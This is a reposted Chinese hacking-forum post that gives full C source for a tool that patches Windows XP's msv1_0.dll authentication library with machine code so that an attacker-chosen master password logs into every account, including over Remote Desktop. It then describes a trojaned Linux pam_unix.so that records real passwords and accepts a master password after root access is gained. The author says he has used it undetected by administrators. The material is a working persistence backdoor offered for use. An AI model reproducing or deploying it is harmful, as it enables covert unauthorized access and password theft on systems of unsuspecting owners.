通用密码后门 's

admin 2017年4月17日19:39:02评论273 views字数 2211阅读7分22秒阅读模式
摘要

来源:Ph4nt0m Google Group
作者:[email protected]其实这些东西我很早就做出来用了,而且效果还不错,目前没有一个管理员发现。

来源:Ph4nt0m Google Group
作者:[email protected]

其实这些东西我很早就做出来用了,而且效果还不错,目前没有一个管理员发现。

以下程序只在winxpsp2中文版上测试

#include <stdio.h>
#include <stdlib.h>
#include "windows.h"
#include "wincrypt.h"

wchar_t passwd[1024];
char path[1024], hash[16];
const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;
const char chunk1[] = {
0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
};

const char chunk2[] = {
0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
0xC4, 0x77

};

void err(char *msg) {
printf("error: %s/n", msg);
exit(1);

}

int main(int argc, char *argv[]) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
unsigned len, sint = sizeof(int);
FILE *fout;

if (argc != 2) {
printf("msv1_0.dll password backdoor generator by cly/n"
"Usage:/n%s password/nOnly for winxp sp2/n", argv[0]);
exit(1);
}

len = strlen(argv[1]);
if (len > 512)
err("the password is too long");
len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);

if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
err("CryptAcquireContext");
if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
err("CryptCreateHash");
if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
err("CryptHashData");
CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
if (len != 16)
err("CryptGetHashParam");
CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
if (hHash)
CryptDestroyHash(hHash);
if (hProv)
CryptReleaseContext(hProv, 0);

if (strlen(getenv("windir")) > 512)
err("Are you kidding?");
sprintf(path, "%s//system32//msv1_0.dll", getenv("windir"));
if (!CopyFileA(path, "msv1_0.dll.cly", 0))
err("CopyFileA");
fout = fopen("msv1_0.dll.cly", "rb+");
if (fout == NULL)
err("fopen");
fseek(fout, os1, SEEK_SET);
fwrite(chunk1, sizeof(chunk1), 1, fout);
fseek(fout, os2, SEEK_SET);
fwrite(chunk2, sizeof(chunk2), 1, fout);
fseek(fout, ospasswd, SEEK_SET);
fwrite(hash, sizeof(hash), 1, fout);
fclose(fout);

return 0;
}

运行这个程序把得到的msv1_0.dll.cly复制到c:/windows/system32/msv1_0.dll(自己想办法绕过WFP),所
有的用户就可以用你设置的密码来登陆了,远程桌面也是可以的。
这里只是提供一种思路,其他的版本比如win2k3应该而是可以这样搞的。
其实我最开始是看到网上一片文章,不过他是空口令可以登陆,而我这是自己设置的口令可以登陆。

Linux下就更简单了,直接编译一个自己的pam_unix.so上去就可以了。
这个pam_unix.so可以记录正确的密码,也可以做和上面一样的通用密码后门。
我是这样搞的,先判断密码对错,如果对了则记录并放行,否则判断是否为我设置的通用密码,如果是就放行,其他的验证失败。
这样我local root成功后,放这样一个后门,管理员还真是难查出来。

写出来只为博高手一笑。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月17日19:39:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通用密码后门 'shttps://cn-sec.com/archives/46822.html

发表评论

匿名网友 填写信息